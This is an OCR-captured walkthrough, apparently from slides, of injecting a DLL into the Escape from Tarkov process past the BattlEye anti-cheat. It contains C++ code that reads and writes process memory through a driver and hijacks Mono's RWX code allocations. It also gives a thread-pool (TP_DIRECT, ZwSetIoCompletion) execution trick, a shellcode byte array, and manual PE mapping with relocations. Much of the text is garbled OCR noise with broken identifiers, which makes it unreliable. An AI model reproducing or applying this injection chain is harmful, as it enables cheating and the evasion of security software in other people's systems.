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ObRegisterCallbacks function (wdm.h)

Article = (

In this article

The ObRegisterCallbacks routine registers a list of callback routines for thread, process, and desktop handle operations.

Syntax

C++

NTSTATUS ObR
[in] PO
[out] PVOID

)

(
STRATION CallbackRegistration,
*RegistrationHandle
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Escape from Tarkov

™ C J > > Local Disk (C) > Battlestate Games > Escape from Tarkov

@ New v T Sert ~ v sas [ Details
D

4 Home :
A Gallery

B OneDrive

B Deskiop

L Downloads

B Documents 43 EscapeFromTarkov.exe

I Pictures 3 EscapeFromTark
% Uninstall.exe
hHandlerbd.exe

yer.dil

11 items |
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~ _ Rrocess hackerx _ | Fdoe . 1Batdleye « U x "« 1 4Vl X0 4.5
, ST ys N X NN Ty X asd &y 4o
L. S« .S «Xxs Github™ "UnknownCheats$ r X ~ x  BattlBent 9, 1> 4 _ _

1 4L s Do : <X HEoR v XX sl s X ] s Lo s LY . s .

~ >~ v

BETA TESTING

ESLAPE FRUN

o H Vi Toc Helf
Wl 7 Refresh {33 Options | #8 Find handles or DLLs 54 System information | (] [ %

Processes  Services Network Disk

Hacker

Name PID CPU |/Ototal.. Privateb.. Username
v ' EscapefromTarkov.exe 29748 441 6295kB/s 7.93GB DESKTOP-SEK4G5G!
B EscapeFromTarkov.exe (29748) Properties
General Statistics Performance Threads Token Modules Memory
Hide free regions

Base address Type Sze Protect... Use
0x2b7e5f60000 Private: Commit 64k8 RWX
ESCAPE FROM TARKO 0x2b7e5f50000 Private: Commit 64k8 RWX
0x257e5£40000 Private: Commit 64k8 RWX
0x2b7e5F30000 Private: Commit 64kB_RWX
CHARACTER 0x2b7e520000 Private: Commit 64ke_RWX
0x2b7e510000 Private: Commit 54k8 RWX
0x2b7d 1860000 Private: Commit 64kB RWX
TRADING 0x2b7d 1820000 Private: Commit 64K8 RWX
0x2b7d 1830000 Private: Commit 64kB RWX
0x257d1880000 Private: Commit 64k8 RWX
HIDEOUT 0x2b7d1870000 Private: Commit 64k RWX
0x25741860000 Private: Commit 64ke RWX
0x2b7d 1850000 Private: Commit 54kB RWX
EXIT 0x2b7d 1840000 Private: Commit 64k8 RWX
0x2b7cdcb0000 Private: Commit 64k8 RWX
0x2b7cdae0000 Private: Commit 64kB RWX
0x2b7cdad0000 Private: Commit 64k8 RWX
CPU Usage: 107 | gy 7cdacnoon Private: Commit 64k8 RWX
= 0x2b7cdab0000 Private: Commit 64k RWX

Battleye, - x L XYy ss « | . v XS FoX R Fl1s

choxyx T x o, 149 44 Procdss haCkér{ sMerhofy-s 4 1 L * 1 X v d XY

o 1 " x {Reatdd Wite‘Exeeut@ RWX  x « _ .~ s 11 _* 64KB 0x10000_

Lx ] LT b e T oA s e L KR L T ) R eNatives X 41w

~

.Na.tivelx“ XL X X, ] q4¢s {1 « X « L v L

~ ~ o~

”
w

X T X IxXx ] T X o Do ox o pdurxdoxT

« s dsdox {41 TSIMoRot X A s {14 L DXL s x

° A

mono2.04 * | ¢ 4 " Mohol « _ X 1L X+ 1wsx  Tx, ] {Cyg x| ¥xs {544

> ~ >~

ddwgc.dll
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s ,,\(Unit_y-hsx”v L s 47 Fod . s X I\/FOFJOv;YS:X,rrl’i.: I x

~ > v ~ v ~ v

bx sy o st v U A R T s e o] D e dd X34 s L0

a ~ v ~ < n

11 Symbols 4 . * % _DAXxGhida * _ 1 4.1 + 1. TAxss @ X .,

1L« Xx L yYs sl X x4 s 1S 4 o % Unity. 4 0 4 T s
, L xS . Fdes T Fl w18 1 * Y L hono_rodt tlgmain ¥ x - Foso

Y " T x ., 1 q4¢ S i«

mono_root_domain XREF[1281]: mono_runtime_gquit:18005cdae(R),
mono_domain create_appdomain_ int...
mono_domain try unload:1500a474c...
mono_get_root_domain:1800a71bl (R...
mono_mlist alloc:l801baads (R},
mono_mlist prepend:1801baf4d(R),
mono_mlist_append:1801bb3ad(R),
mono_class_create_runtime vtable...
mono_unhandled exception checked...
create_internal thread object:18...
mono_thread attach internal:1801...
mono_thread current:150201a0d(R},
mono_threads attach coop interna...
Inc:nc:_threads_attach_c:ccp_interna...
mono_gc alloc vector:18026£7f8 (R...
mono_unity thread fast detach:18...
mono_unity thread fast_detach:1&...
mono_unity root_domain mempool c...
mono_jit_thread attach:18028ec7...
mono_jit_thread attach:18028ece3l...
[more]

180751020 00 00 OO0

00 00 00
00 oo

_MonoDom... 00000000

L 1 0x7510200ffset* x : x « + x MopaDomiaifd " % o T x DT s Tox <
= - ” ” - nn - ” - =
X v sy - T R U S S BT FLoASTIXIXTIss s TXX, ] L 1A
:0x2480ffset* memory_manager _ * 1 * .« _ «Xxs ., 7 T X,
- v | —
@ Structure Editor - _MonoDomain (mono-2.0-bdwgc.dll) [CodeBrowser: mono:/mono-2.0-bdwgc.dll]
Edit Help
Bloe ¥t3
Offset Length Mnemonic DataType Name C
0xa8 0x8 _MonoAssembly * _MonoAssembly * entry_assembly
0xb0 0x8 char * char * friendly_name
0xb8 0x8 _GHashTable * _GHashTable * proxy_vtable_hash
Oxc0 0x28 _MonolnternalHashTable _MonolnternalHashTable jit_code_hash
Oxe8 0x30 mono_mutex_t mono_mutex_t jit_code_hash_lock
0x118 Ox4 int int num_jit_info_table_duplicates
0x120 0x8 _MonoJitinfoTable * _MonoJitinfoTable * jit_info_table
0x128 0x8 _MonoJitinfoTable * _MonoJitinfoTable * aot_modules
0x130 0x8 _GSList * _GSList * jit_info_free_queue
0x138 0x8 char * = char * = search_path
0x150 0x8 _MonoMethod * _MonoMethod * create_proxy_for_type_method
0x158 0x8 _MonoMethod * _MonoMethod * private_invoke_method
0x160 0x8 _GHashTable * _GHashTable * spedal_static_fields
0x208 0x4 int int assembly_bindings_parsed
0x210 0x8 _Monolmage * _Monolmage * socket_assembly
0x218 0x8 _MonoClass * _MonoClass * sockaddr_dass
0x220 0x8 _MonoClassField * _MonoClassField * sockaddr_data_field
0x228 0x8 _MonoClassField * _MonoClassField * sockaddr_data_length_field
0x230 0x8 _GHashTable * _GHashTable * ftnptrs_hash
0x238 0x8 _GHashTable * _GHashTable * method_to_dyn_method
0x240 Ox4 int int throw_unobserved_task_except...
0x244 0x4 uint uint execution_context_field_offset
0x248 0x8 _MonoMemoryManager * _MonoMemoryManager * !
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” - "X m ” X X
L 1_MonoMemoryManager + {1 " x . s s TP 4 s ] s ex "] RX X s - .
X J X
% Structure Editer - _MonoMemanyManager (mone-2.0-bdwgc.dll) [CodeBrowser menoy/mono-2.0-bdwgcdll]
Edit Help
HlIE] structure Editor - _MonoMemoryManager (mono-2.0-bdwge.dll) E | M | + f
Offset Length Mnemonic DataType Mame
0x0 0x3 _MonoDomain * _MonoDomain * domain
0x8 0x4 int int collectible
0xc 0x4 int int is_generic
0x10 x4 int int freeing
0x18 0x30 _MonoCoopMutex _MonoCoopMutex lock
0x43 0x3 _MonoMemPool = _MonoMemPool * mp
I 0x8 _MonoCodeManager * _MonoCodeManager * code_mp
0x58 0x8 _GPtrarray * _GPtrarray * class_vtable_array
0x60 0x8 _MonoGHashTable * _MonoGHashTable * type_hash
0x68 0x8 _MonoConcGHashTable = _MonoConcGHashTable * refobject_hash
0x70 0x3 _MonoGHashTable * _MonoGHashTable * type_init_exception_hash
” X = = b
X s L lx oL s OffsetOX50M X <X w AU T R kS
S . X's S "™X. si X xsl{"” L PR ] I S s 7

ant rcache atart:1801h30Tc (RY

@ Structure Editer - _MonoCodeManager (mono-2.0-bdwgedll) [CodeBrowsen monoy/mono-2.0-bdwgedll]
Edit Help

k| E Structure Editor - _MonoCodeManager (mono-2.0-bdwge.dil)

B -4

Offset Length Mnemaonic DataType MName
0x8 _CodeChunk * _CodeChunk * current
0x3 _CodeChunk * _CodeChunk * full

_CodeChunk * _CodeChunk *
Ox1 int:1 int:1 dynamic
Ox1 int:1 int:1 read_only

Isx « » 1« <X, .o 1x CodeChunks® _ I I 4 _Kpy _ ®_ 4. <47

~ v o~ ~ A ~

Pxo 0 AX o0 JAX s .x v 0x0Offset* X 53X X , Xs "X x .
« X 1. Shelcddes . © ~ x4+« RWK: Io. =14
] S v . s € , X T CX v qd L, oS
mono-2.0-bdwgc.dll+0x751020 - * x moho‘ root_domairs L _  sSd@nq ~ «
mono_root_domain+0x248 © * X memdry_managef L. . Sd& 1 -~ «
memory_manager+0x50: * xcode*managef L . S® 1 ~ «
code_manager+0x10: * x & | * s " x , T« s 1 X@: ] i

last_rwx_alloc+0x00 ~ 1 .
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X

S

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

B Hide free regions Strings... Refresh

=
Base address Type Protect... Total WS Private WS  Shareable WS

(0x22cch080000 Private: Commit R 654kB 64kB
(Ox22cch0S0000 Private: Commit RWX 64 kB 64kB
0x22cch020000 Private: Commit R 54kB 64kE
Ox22cch0b0000 Private: Commit RWX 64kB 64kB
0x22cch0c0000 Private: Commit RWX 64 kB 64kB
0x22cch0d0000 Private: Commit R 54kB 64kB
0%22cch0e0000 Private: Commit R 54kB 54kB
Ox22cch0f000 Private: Commit RWX
0x22cch 100000 Private: Commit R
0x22cch 110000 Private: Commit RWX
Ox22cch 120000 Private: Commit RWX
0x22cch 130000 Private: Commit RWX
0x22cch 140000 Private: Commit RWX
(0%22cch 150000 Private: Commit RWX
(0x22cch 160000 Private: Commit RWX
0x22cch 170000 Private: Commit R
(0%22cch 180000 Private: Commit RWX
Ox22cch 150000 Private: Commit RWX
0x22cch 150000 Private: Commit R
| (0x22cch 160000 Private: Commit RWX
Ox22cch 10000 Private: Commit RW
0x22cch 207000 Private: Commit MA
0x22cch 208000 Private: Commit R
0x22cch 244000 Private: Commit NA
Ox22cch242000 Private: Commit RW
0x22cch 230000 Private: Reserved
Ox22ccc190000 Private: Commit RWX

Administrator: Command Prompt

1int8_t* MonoBaseAddress = <std: :uint8_t*>(Driver->GetModuleBase("mono-2.0-bdwgc.dl1"));
std: :uintptr_t MonoDomain = Driver->ReadProcessMemory<std::uintptr_t>( <std: :uintptr_t>(MonoBaseAddress) + 0x751020)
std i _t MemoryManager = Driver->ReadProcessMemory<std::uintptr_t>(MonoDomain + @x2u48);
std::ui _t CodeManager = Driver->ReadProcessMemory<std intptr_t>(MemoryManager + 0x50)
std i _t LastRwxAllocPtr = Driver->ReadProcessMemory<st uintptr_t>(CodeManager + 0x10
std:: LastRwxAlloc = Driver->ReadProcessMemory<std::uintptr_t>(LastRwxAllocPtr);
std: :printf("[+] MonoRootDomain p\n", MonoDomain);

std::printf("[+] MemoryManager Ox%
std: :printf("[+] CodeManager @x%p\n", CodeManager)
std: :printf("[+] LastRwxAllocPtr 0x%
std: :printf("[+]
if (!LastRwxAlloc)
return EXIT_FAILURE;

R x T X ghelléotles | ¥ w0 Fx - e XA o« T o g4 DX

> A

.Code managerx = x « | .|

S v qd . D X ¥ LB Xy s x "4 q T . L X
Jd« TA4Xsie 414+ TSHellcbdes * T " RWX' R0 X4, bs xS &x s
Clox 1.7 T
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X v 4. x0T CxPatch e Th 4 eSO T e X T . 4T X e
N v .- | data sdctiof*. ~ «, "< ¢ 7 ¢ s 1] v
L. bxew 3 x s s «os | rdeg conditions! < X« 0 oL X T o s T x XX
Pool-+ s XHHA X L. Ix1ss 414X x|, P e 4. 1% s
FXo , F 147 11 Fd1. s Do Pl Ix 1 © Party , XL

S Ix X lx o ox o lx {s X L x 14l x L, T x4 _x [ sts
FoX b4 T x D s X X T L x L, x o wxs s | X s

x Doxowbxoos 4 4« CallFack fr Xt Iscl 449 1s. {.STR DIRECT _ s T x.
I'x 10_COMPLETION_ALL ACCESS- _ ~HMandle, *, | _ v 1~ 13,1~k  s.h 0

*4 . . _ s _ . \OlCompletio# . _, ¢ _sc¢ 4+ -1 4~ [ xl XX S« {7

(sl " 1 1GitHub _

A4 x D s x gwSetloCompletion k. WA APIXE 4 4 L 0T x L w7
CXs X T MTE x . ®s | {_s: xSs s{..”"x TP DIRECT. . s
A4 0s X Werkerdthwead < - ¢ 4 X0 g 47 x 07 s ssT X ] x4
1l s d x7 syl

DuplicateHandle(

TargetProcess,
<HANDLE>(IoCompletionHandle)
GetCurrentProcess(),
&HijackedIoHandle,
TO_COMPLETION_ALL_ACCESS,

NULL

std::uintptr_t BreakPointAddress = LastRwxAlloc + (TP_DIRECT);

std::uintptr_t TpDirectAddress = LastRwxAlloc;

TP_DIRECT TpDirect = { .Callback = < *>(BreakPointAddress) };
Driver->WriteProcessMemory<TP_DIRECT>(TpDirectAddress, TpDirect);

Driver->WriteProcessMemory<BYTE>(BreakPointAddress, @xCC);

NTSTATUS SetIoCompletionResult = ZwSetIoCompletion(HijackedIoHandle,
if (SetIoCompletionResult != ERROR_SUCCESS)

<PTP_DIRECT>(TpDirectAddress), @, 0, 0);

£);

A es b dox . x 71 JP_DIREGT: Al ™XXoisT sIous UTX] 0] w1 x

s Jxig 4 _ X R3S . ., X S8 . X ]~ N I 17"
S swd s 0 vANinDbg s ¥4 ds b 1Y . o1 s
L
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https://x.com/alon_leviev
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/

x”]ThreagS N '|vx iht>35‘.,,kx§’?,1"’>f,:5:3."5 :SX"\.X,,VL:"=Z-|"~ -|>J

‘TppWorkerThread s 1 « « 7 x s 0 71 4

8868802b5 yte ptr

0068902b5™ 32718836 868 byte ptr

000002b5™ 3270038 4800732 byte ptr

0008002b5" c b5@2 ' ch, 2 .

000002b5" 8eee byte ptr [+] Found E

000002b5" 0080 byte ptr - Pr

008002b5" oeee byte ptr - Kernel EP

808802bs" eees byte ptr y -

o) pel >RootDomain
i anager

deManager )

locPtr 2B2CB 3ES0

byte ptr i
©02B5327F0000

rax

Frame Index

ntdll! TppWorkerThread +0x5a0
KERMEL32!BaseThreadInitThunk+0x17 Oxd 85977190 Ox7ffaf47dfboc

ntdll!RtiUserThreadStart+0 Oxd8597 71220 00

" x . 14°¢ Shellcodes, : *{: |

L D SR I Los Lo L Ed e X F A - 38X 17 0 x o148 x 44, s+ 4., X

x T T x4 @s el Jfoxsx Aslhy 4 o o ox 4 414y bx oy

Windows".xv\A ”XXA =x ., ] 4¢s - .o XX s Lo “-|~v5 I

VirtualAlloc « x s s s 4$s D LX X XTWiRAP s { . Y x T {4
(Lx 4L~ 4 s VitsablloCEX L X 4 X T L xS LY Y

VirtualAlloc function (memoryapi.h)

Article 5 . Feedback

Z more
Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory

allocated by this function is automatically initialized to zero.

To allocate memory in the address space of another process, use the I « function.

Syntax

C++

LPVOID \ \ (

[in, optional] LPVOID lpAddress,

[in] SIZE_T duSize,

[in] DWORD flAllocationType,
[in] DWORD flProtect

)3
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Decompile: mono_valloc - (mono-2.0-bdwgc.dll)

1

2jvoid * __ cdecl mono_valloc(void *param l,ulongé4 param 2,int param 3,MonoMemAccountIype param 4)
3

4/

S

€

7

g /* 0x72370 1215 mono_valloc */

9 mit != 0) && (alloc_limit <= total_ unt + param 2)) {

10 return (void *)0x0;

11| }

12| i 1 = mono_mmap win prot_from flags(param 3);

13| p r2 = (void *)VirtualAlloc(param l,param 2,0x3000,iVarl);

14| LOCK():

15| allocation_count((int)param 4] = allocation_count[(int)param 4] + (longlong) (int)param 2;
16| UNLOCK():

17| LOCK():

18| rtotal_allocation_count = total_allocation_count + (longlong) (int)param 2;

19| UNLOCK():

20 return pvVar2

21)}

]S« s = ] x S L T S s {4 . <" X s ¢ 4. | .

WM W N

[T T S R S R N T N N S R Y S R I R =
= O W W 3 0 O & W~ O W oo 9 onmsa whhke-~o

W
I

1 > ~

< 1. . sNativeX x < 1.4 _buffer 1x s 4 1 T4

I s 1 « anbno_vdloa s : x..codeshunk valloc s { « « " X

Ynono_code_manager_reserve_align- 1 ~ « 4 s s {4 .« 7" x new_dodethunk

mono_code_manager_reserv:

void * _ cdecl
mono_code_manager_reserve_align(_MonoCodeManager *CodeManager,int param 2,int param 3)
{

_CodeChunk *p_Varl;

_CodeChunk *p_Var2;

void *pv’

ulonglong uVar4;

_CodeChunk *p_Vars;
uint uVaré;

uVard4 = (ulonglong) (param 3 - 1);

if ((CodeManager->field 0x18 & 2) != 0) {

monoeg_assertion_message("* Assertion at %s:%d, condition “$s\' not met\n");
}
if (0x10 < param 3) {

monoeg_assertion_message("* Assertion at $s:%d, condition “$s\' not met\n");
}

if ((CodeManager->field 0x18 & 1) != 0) {
dynamic_code_a 2

= dynamic_code

= dynamic_code_bytes_count + (longlong)param 2;

loc_count + 1;

dynamic_code_b

1 = CodeManager->current;
Jarl == (_CodeChunk *)0x0) {
= new_codechunk (CodeManager, param 2);
CodeManager->current = p Varl;
if (p_Varl == (_CodeChunk *)0x0) {
return (void *)0x0;
}
CodeManager->last = p_Varl;
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.I

X

~1s 4" L >CddeMapagef
A.|>xs=~x,s-]]-!-|$“x|_\
Feoox 7 + alignment

v, 9

N

w

”

X

I X s X L

L ! X mono_valloc ¢ X « 4

NI LA A L I

~ ~ A ~~

>

s alighed x1"441s%

“'IL"X\.\.)V

x,,,l~x.”,, ‘|\-|~ WS LX DX X X I
x . . s 4 .« " X ;
» 1 oo, L . XX . .

s 2 x7” x

Il X & s . « oxox s S

Decompile: mono_code_manager_reserve - (mono-2.0-bdwgc.dll)
1
2void * _ cdecl mono_code_manager_reserve (_Mo eManager *CodeManager,int ReserveSize)
3
4
S| wvoid *AllochRddress;
€
7| AllocAd = mono_code_manager_ reserve_align(CodeManager,ReserveSize,0x10);
8| return All X
it
s " Ix s Tx, | 4{¢x s Disasgembly ST X 11 b XL AT WX s T L x "
void * _ ecdecl mono code manager reserve (_MonoCodeManage...
assume G5_OFFSET = 0xf£00000000
woid ¥ RRX:8 <RETURMN:- XREF[1]: 13006d456
CodeManag... RCX:8 CodeManager
EDX:4 ResgerveSize
undefineds RAX:8 Allochddress XREF[1]: 18006d486
mono_code_manager_ reserve
lSIZIIJh{MBU 41 b3 10 MOV RED, 0x10
00 00 00
L. xo s 14 Tx ., 1 4¢ x" | Shellcode XXX LX p X Jsf4 XX
] 4L s X% Xr”44:0%10000 1+ x Is I x o =x ., ]14q¢ X 4 ow Xa e X s, x4 X .
*xo oo RS 0 4 TxdExCys Do Xy s o7 g LL Yy X oo, LS X
14,  x0 bx L1107 e » by X X

cmp ebx
jnz SkipFirstAlloc
mov rie,

SkipFirstAlloc:

. B

j1l LoopStart
ret
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14 X“L\.

1 labels* N

IXrdx- ¥ X «s 1.

P X T s o

v LoopStart:

movabs r8, ©x111111111111

call r8

xor r9d, rod

mov r9d, 1@

kipFirstAlloc
mov rle,
v SkipFirstAlloc:

jnz

rax

inc
cmp
j1 LoopStart

.Shellcodes L
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r”

S

F

Xpghxs ¥ ) x Jox s, Omlal Lol X XL i1 s oo x o 0
T4 "X L b e MA S S XA . Y 5 X sT XX
e Xt kA raxe » X0 Preturndvalded, | ) a4 kL
« x ol x £ . NX s X oL s TX . s
,,xv~”+);11|:'s N s 44 x L s x s 4
L B R 1 X ¢ S
” » S Fo X"“v S-|‘“"x>L D x "
I X FL0" A 4~ SX. O TX 7, aeX IR I I S B

" x " =14 s shellcodes x:: s X7, (L LY Xs 4 s 44 x .



push rbx

push r

push

push rsi

push
push
push
push
push
push
push
push

rdi
rbp

ro

rle
rll
ri2
ri3

Terx 47 01

paX1 4_Juw 4, ~ ¥ X « s contekts -,

FAA T XX, s

~ X G s

” nx
L, XX

T ST
fovxos ]

. <X AT 1s s

ril4
push ri5

push

movabs rac-._‘r g\..r’_"“.’i"'"!’i’\f\.’}’_}f\.j
X, ©x222222222222
mov rdx,

rbox x 1 v 4. ¥ X24H2, L~ J ) s xx 7 4 xx x 4 x X v s v X
10 s x o T x |4 Werkesthreads -~ 4+« _H# X« . ) Xx<s g q4x
oo Ex Tk d sy x s De x0Tl S X T xS
10, «s o context ‘:. fs1Asy X+ 1 -pushipops w1 X

push rbx
push rcx
push
push
push
push rb
push r
push r
push ri
push ri

RO
o®©

3
W N =

a o o
He O

push ri
push
push

3
'S
T
e

3
(%))

push

xor ebx,
LoopStart:

Online x86 assembleér - _ st 1 Assembler 4 ~ L x T hxos Do - 1% s
Lol s” o« s 1 1défgse.qat v o~ S X 1 x T
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x 7oL s Tl x oL Array XX g

o B

Array Literal:

0x59, Ox5B, Ox45, 0x31, 0xC9, Ox41, OxBI, OX1E, 0x00, 0x00, 0x00, Ox83, OxF

{ @x53, 0x51, Ox52, @x56, Ox57, Ox55, Ox41, 0x50, Ox41, Ox51, Ox41, Ox52, Ox41l,
Ox41, 0x55, 0x41, Ox56, Ox41, 0x57, Ox31, OxDB, 0x49, OxB8, Ox30, OxBF, 0x66, OxCC, OxF9, Ox7F,
0x00, 0x00, 0x53, Ox51, Ox52, Ox56, Ox57, Ox55, Ox41, Ox50, Ox41, Ox51, 0x41, Ox52, Ox41, 0x53,
0x41, 0x54, Ox41, 0x55, Ox41, 0x56, Ox41, Ox57, Ox48, OxB9, 0x20, ©x2D, oxD1l, ©x24, OxE1l, 0x01,
0x00, 0x00, 0x48, OxC7, OxC2, O0x00, 0x00, Ox01l, Ox00, Ox41, OxFF, OxDO, Ox41, Ox5F, Ox41, OxSE,
0x41, 0x5D, 0x41, Ox5C, 0x41l, Ox5B, 0x41, Ox5A, 0x41, ©x59, 0x41, Ox58, 0x5D, Ox5F, Ox5E, OxS5A,

B, 0x00, 0x75, 0x03,

0x49, 0x89, @xC2, OxFF, OxC3, Ox44, 0x39, OxCB, Ox7C, Ox9E, Ox48, OxBE, 0x20, 0x2D, 0xD1, 0x24,

OxE1l, 0x01, 0x00, 0x00, 0x4C, Ox89, 0x16, Ox41, OxS5F, Ox41, OxSE, Ox41, Ox5D,

Ox5B, O@x41, Ox5A, 0x41, Ox59, 0x41, Ox58, Ox5D, Ox5F, OxSE, Ox5A, Ox59, Ox5B, OxC3 }

0x53, Ox41, 0x54,

0x41, Ox5C, Ox41l,

X X R B SN s shéllgoded 1 § ¥ _ X
s {4 . "X s L DX x I |s clox % 1 I x o
- 4% s 4 e A0 ¥ €ode mamage? + L X x 1 ]s

L moeng_code_manager_reserve

Codes XX

DLEs ix 4 _ s 4714

151100 ¥ % s d 4. s

R:epareShellcndeC std: :uint8_t* Rwx, ::uint8_t* Mo Manager std::

memcpy(&Shellcode[26], ( *)&! Cuintptr_t));
memcpy (&Shellcode[58], ( (uintptr_t));

memcpy(&Shellcode[124], ( . Cuintptr_t));

X « .~ S

uint8_t

*0riginalBytes = Driver->ReadProcessMemory<OriginalBytesData>(LastRwxAlloc, sizeof(OriginalBytesData));

PrepareShellcode(
einter cast<std: :uint8_t*>(LastRwxAlloc),

reinterpret_cast<std: :uint8_t*>(CodeManager),

ResolveCodeReserve(MonoBaseAddress)

)

x " | _ shellcodes + | ¢ s

std: :uintptr_t TpDirectAddress = D
std: :uintptr_t ShellcodeAddress = Da d (TP_DIRECT);

TP_DIRECT TpDirect = { .Callback = < *>(ShellcodeAddress) };
r->WriteProcessMemory<TP_DIRECT>(TpDirectAddress, TpDirect);

—>WriteProcessMemoryPtr<std: :uint8_t*>(ShellcodeAddress, Shellcode, (Shellcode))

NTSTATUS SetTIoCompletionResult = ZwSetIoCompletion(Hija
if (SetIoCompletionResult != ERROR_SUCCESS)
return ;

std: :uintptr_t NewRwxAllocation = Driver—>ReadProcessMemory<std: :uintptr_t>(Da
if (!NewRwxAllocation)
return ;

<PTP_DIRECT>(TpDirectAddress), @, @, 0);
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x " . 4 r ‘Codechunks ! T « x|

BETA TESTING

1P EscapefromTarkov.exe (12356) Properties

Genersl Statistics Performance Threads Token Modues MemOry Envionment Handes GPU  Comment | C:\Users\krispy\Documents\Digitalwhisper>.\
[+] Found EFT
Hide free regions. Strings... Refresh _

Base adcress Type Protect... Use Total WS Private WS Shareable WS
0x24c2c080000 Private: Commit RWX 64kB 64kB

0x24c2c030000 Private: Commit 6418 RWX s3l8 5418 Looking for Ic
0x24c20020000 Private: Commit RWX 648 648 ST ]
0x24c2c0b0000 Private: Commit RWX 64kB 64kB

0x24c2c0d0000 Private: Commit RWX 64k8 “ing shellcode
0x24c20020000 Private: Commit 64k8 RWX 64ka W Mo WX allocation at 9x000 C2C120000
0x24c200f0000 Private: Comnit RWX s4k8
0x24c2¢100000 Private: Commit 64k8 RWX 64ks
0x24c2c110000 Private: Commit RWX 648
0x23c2c120000 Private: Commit RWK 118
[x2c2c130000 Private: Commit RWX 38
0242140000 Private: Commit RWX i)
0x24c2c150000 Private: Commit RWK 4
0x24c2c160000 Private: Commit RWK
[ox2ac2c170000 Private: Commit RWX
0x24c2c180000 Private: Commit RWX
[‘ox2ac2c190000 Private: Commit RWK

Private: Commit RWX
0242150000 Private: Commit RWX

HEEEEEEEEEE

XX W = x 1L s ¢ . X PDLLS € X &8 « 1 [ s X xXs ,
Entry-s ° +«  «reloeationst x PEIHeaders + 1~ * 1" 07« s ] xxX s
“~ X o, . L s ., " s 4L~ s 7 X « . PES

st uintptr_t DllBytes = r
IMAGE_DOS_HEADER* DosHeader =

AGE_DOS_HEADER*>(Dl1Bytes);
IMAGE_NT_H ERS* NtHeader =

if (DosHeader—>e_ maglc != IMAGE_DOS_SIGNATURE || NtHeader->Signature != IMAGE_NT_SIGNATURE)
return

t PeHeaderSize = 0x1000;

DLlEntryPoint = NewRwxAllocation + NtHeader->OptionalHeader.AddressOfEntryPoint;
if (!DlLlEntryPoint)

return

'

* LocalImageBase = malloc(NtHeader->OptionalHeader.SizeOfImage);
memset(LocalImageBase, ©, NtHeader->OptionalHeader.SizeOfImage);
if ('LocalImageBase)
return .
std: :printf("[+] Mapping image locally\n");
std: :printf("[+] Local image base at Ox%p\n", LocallmageBase);

memcpy(LocalImageBase, DosHeader, PeHeaderSize);

IMAGE _HEADER* CurrentImageSection = IMAGE_FIRST_SECTION(NtHeader);
for ( i NtHeader->FileHeader.NumberOfSections; i++)
{
std: :printf("[+] Mapping %s section at Ox%p of size Ox%x\n",
CurrentImageSection[i].Name,
CurrentImageSection[i].VirtualAddress,
CurrentImageSection[i].SizeOfRawData

* LocalSectionAddress = t< *>(

<std: :uintptr_ t>(LocalImageBase) + CurrentImageSection[i].VirtualAddress

memcpy(LocalSectlonAddress r pret < *>(

t<std::uintptr. t>(DosHeader) + CurrentImageSection[i].PointerToRawData),
CurrentImageSectlon[l] SizeOfRawData

);

0x24c2c0c0000 Private: Commit RWX 64kB Found last mono RWX allocation at ©x0000024C2C110000

L

ERS*>(Dl1Bytes + DosHeader—>e_lfanew);

SX |

_DLU

~ Boiht*
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Ll XK A U aDLRS T, KT T T T 48T XL X LI X 1T

{0~ x1.4%8ecion L3 x LlX r 4. x4 _ s *¥x.Xx, Gegtiong™ X _ X

~ ~ To

std: :printf("[+] Resolving relocations locally\n");
std: :vector<RelocationData> Relocations = GetRelocations( <std: :uintptr_t>(LocalImageBase));
std: :uintptr_t ImageDifference = NewRwxAllocation - NtHeader->OptionalHeader.ImageBase;
& CurrentRelocation : Relocations)

for (std::uint32_t i = @; i < CurrentRelocation.Count; i++)

I

8
std::uintl6_t RelocationType = CurrentRelocation.Item[i] >> 12;
std::uintl6_t RelocationOffset = CurrentRelocation.Item[i] & ©xFFF;

if (RelocationType == IMAGE_REL_BASED_DIR64)
* <std: :uintptr_t*>(CurrentRelocation.Address + RelocationOffset) += ImageDifference;

xx ] o] s = x ., 14 ¢ X DX o, §0x © PEHeadet~ 1:++_ As X\1oox0 o

17 L Cddechunks. © 1 1: 1L X i s fu. " {xs

memcpy(LocalImageBase, OriginalBytes, PeHeaderSize);
std::uint8_t* CodeStartAddress = <std int8_t*>( uintptr_t>(LocalImageBase));

printf("[+] Copying local image to remote target\n");
>WriteProcessMemoryPtr<std: :uint8_t*>(NewRwxAllocation, CodeStartAddress, NtHeader->OptionalHeader.SizeOfImage)

x " {Ently paoint. =~ X ~ w1 X 7 L 4 s X

std::uintptr_t TpDirectAddress = LastRwxAlloc;
TP_DIRECT TpDirect = { .Callback = < %>(DLLEntryPoint) };
Driver—>WriteProcessMemory<TP_DIRECT>(TpDirectAddress, TpDirect);

Sleep(5);
NTSTATUS SetIoCompletionResult = ZwSetIoCompletion(HijackedIoHandle, <PTP_DIRECT>(TpDirectAddress), 0, @, 0);
if (SetIoCompletionResult != ERROR_SUCCESS)
std::printf("[!] Failed calling DLL entry point at Ox%p (Error status Ox%d)\n", TpDirect.Callback, _omp: );
Sleep(2000);
std: :printf("[+] Restoring %d original bytes\n", (OriginalBytesData));
Driver—>WriteProcessMemoryPtr<OriginalBytesData*>(LastRwxAlloc, OriginalBytes, (OriginalBytesData));

OriginalBytes;

std: :printf("[+] Done!\n\n");

s E_nﬂyXpoin;s s { s . sl o xsXy sS4 127" x I x ¥DLL ~» X . 7 I x oox X x A
WinDbg, « ! xx "y Xx T Xipt3Fx . XS RT SN sx " {s §4 s xI ]
Inline -* [ T 1 -1 To R T B O S | . e A A & B ol

‘Windows t MSVC ~» 1 11 | _ *xx86 64 - X 1t« 141 -+ a%sémbly . x | 1%
le <Windows.h>

BOOL WINAPI D1lMain(HINSTANCE I , Dw R n, LPVOID R
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S Memory0 [ Registers
RAX: 5X: @eeeeeeeoessee|
RDX:
000017 ee0 byte ptr [r: EIE
0800177 eoee byte ptr [rax], RS: 0008000000000000  RS: ~BODDGOOASSIFFA
i T e e (e (ool R11: £68EE0B0EE080081 2000060006608
0000017 8eblae84608b08 st(-2), word pt Ri4: : 8e8pe6E00606000|
fobont Boooee T pir In E:Ei\gi;nyl‘value' E(aneeu(m i
Eéggﬁig 2‘323 :t:;: EE {: LaststatusValue: @xC0@B@@eD
8080817 aoe0 byte ptr [rax],
8080817 080 byte ptr [r:
8080817 080 byte ptr [rax],
